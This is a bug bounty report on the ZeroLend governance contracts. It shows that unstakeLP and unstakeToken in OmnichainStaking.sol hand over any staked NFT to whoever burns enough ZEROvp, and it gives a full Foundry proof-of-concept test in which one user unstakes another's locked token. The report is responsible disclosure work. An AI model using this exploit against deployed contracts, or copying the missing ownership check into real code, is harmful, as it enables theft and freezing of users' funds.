OmnichainStaking.sol:unstakeLP and OmnichainStaking.sol:unstakeToken allows anyone to unstake any token provided they own enough ZEROvp
Submitted on Mar 8th 2024 at 07:52:20 UTC by @jovi for Boost | ZeroLend
Report ID: #29135
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/zerolend/governance
Impacts:
- Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
- Temporary freezing of funds for at least 1 hour
- Permanent freezing of funds
The unstakeLP and the unstakeToken functions at the OmnichainStaking contracts allow a user to burn ZEROvp tokens in order to get back user-defined tokenIds. This enables malicious parties to unstake tokens they don't rightfully own.
If we take a look at both unstaking functions, there are no checks to ensure the transaction caller has any right to that token id, rather the functions check if the caller owns enough ZEROvp token to be burnt.
function unstakeLP(uint256 tokenId) external {
_burn(msg.sender, lpPower[tokenId] * 4);
lpLocker.safeTransferFrom(address(this), msg.sender, tokenId);
}
function unstakeToken(uint256 tokenId) external {
_burn(msg.sender, tokenPower[tokenId]);
tokenLocker.safeTransferFrom(address(this), msg.sender, tokenId);
}
This is not necessarily an issue if taken only at the OmnichainStaking contract context. However, considering different NFTs have different lock expiries at both the LockerToken and the LockerLP contracts, malicious parties can unstake token ids to benefit in different forms, as shown at the impact section.
Users can receive tokens before their lock expiry ends by unstaking ERC-721 tokens that have earlier expiry without the authorization of their rightful owners. This leads to the freezing of user funds that can be never-ending as other people can claim before the rightful owner.
unstakeLP and unstakeToken functions at OmnichainStaking.sol: https://github.com/zerolend/governance/blob/main/contracts/locker/OmnichainStaking.sol#L76C5-L84C6
votingPowerOf and calculatePower functions at BaseLocker.sol: https://github.com/zerolend/governance/blob/main/contracts/locker/BaseLocker.sol#L103C5-L116C6
Paste the following code snippet inside the test folder:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {console} from "../../lib/forge-std/src/console.sol";
import {StdInvariant} from "../../lib/forge-std/src/StdInvariant.sol";
import {LockerLP} from "../../locker/LockerLP.sol";
import {LockerToken} from "../../locker/LockerToken.sol";
import {OmnichainStaking} from "../../locker/OmnichainStaking.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MintableERC20 is ERC20 {
address public owner;
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "MintableERC20: caller is not the owner");
_;
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract ZeroLendTest is StdInvariant, Test {
LockerLP lockerLP;
LockerToken lockerToken;
OmnichainStaking omnichainStaking;
MintableERC20 arbitraryToken;
address user = makeAddr("user");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address public configurator = makeAddr("configurator");
uint256 internal WEEK;
uint256 internal MAXTIME;
function setUp() public {
vm.prank(configurator);
arbitraryToken = new MintableERC20("Arbitrary Token", "ATKN");
vm.prank(configurator);
arbitraryToken.mint(user, 1 ether);
vm.prank(configurator);
arbitraryToken.mint(alice, 1 ether);
vm.prank(configurator);
arbitraryToken.mint(bob, 1 ether);
vm.prank(configurator);
lockerLP = new LockerLP();
lockerLP.init(
address(arbitraryToken),
// staking address
address(0x1000),
// stakingBonus
address(0x1001)
);
lockerToken = new LockerToken();
lockerToken.init(
address(arbitraryToken),
// staking address
address(0x1000),
// stakingBonus
address(0x1001)
);
omnichainStaking = new OmnichainStaking();
omnichainStaking.init(
// LZ endpoint
address(0x1002),
// tokenLocker
address(lockerToken),
// lpLocker
address(lockerLP)
);
WEEK = 1 weeks;
MAXTIME = 365 * 86400;
}
function test_poc1() public {
vm.prank(alice);
arbitraryToken.approve(address(lockerLP), 1 ether);
vm.prank(bob);
arbitraryToken.approve(address(lockerLP), 1 ether);
uint256 unlockTime0 = ((block.timestamp + MAXTIME) / WEEK) * WEEK - 100; // Locktime is rounded down to weeks
vm.prank(alice);
lockerLP.createLock(0.5 ether, unlockTime0, false);
// pass 2 weeks
vm.warp(block.timestamp + 2 * WEEK);
uint256 unlockTime1 = unlockTime0 + 1 * WEEK; // Locktime is rounded down to weeks
vm.prank(bob);
lockerLP.createLock(0.5 ether, unlockTime1, false);
// transfer both tokens to the omnichainStaking contract
vm.prank(alice);
lockerLP.safeTransferFrom(alice, address(omnichainStaking), 1);
vm.prank(bob);
lockerLP.safeTransferFrom(bob, address(omnichainStaking), 2);
// get the lock 1 expiry
(, uint256 end,,) = lockerLP.locked(1);
// travel to the expiry period + 1 day
vm.warp(end + 1 days);
require(end < block.timestamp);
// bob will unstake alice's token and be able to withdraw the token at the lockerLp contract.
vm.prank(bob);
omnichainStaking.unstakeLP(1);
// alice will try to unstake her token and fail
vm.prank(alice);
vm.expectRevert();
omnichainStaking.unstakeLP(1);
// alice will end be able to unstake bob's token, but notice how it is still locked at the lockerLp contract
(,end,,) = lockerLP.locked(2);
require(end > block.timestamp);
}
}
Run the test with the following command:
forge test --match-test test_poc1 -vvv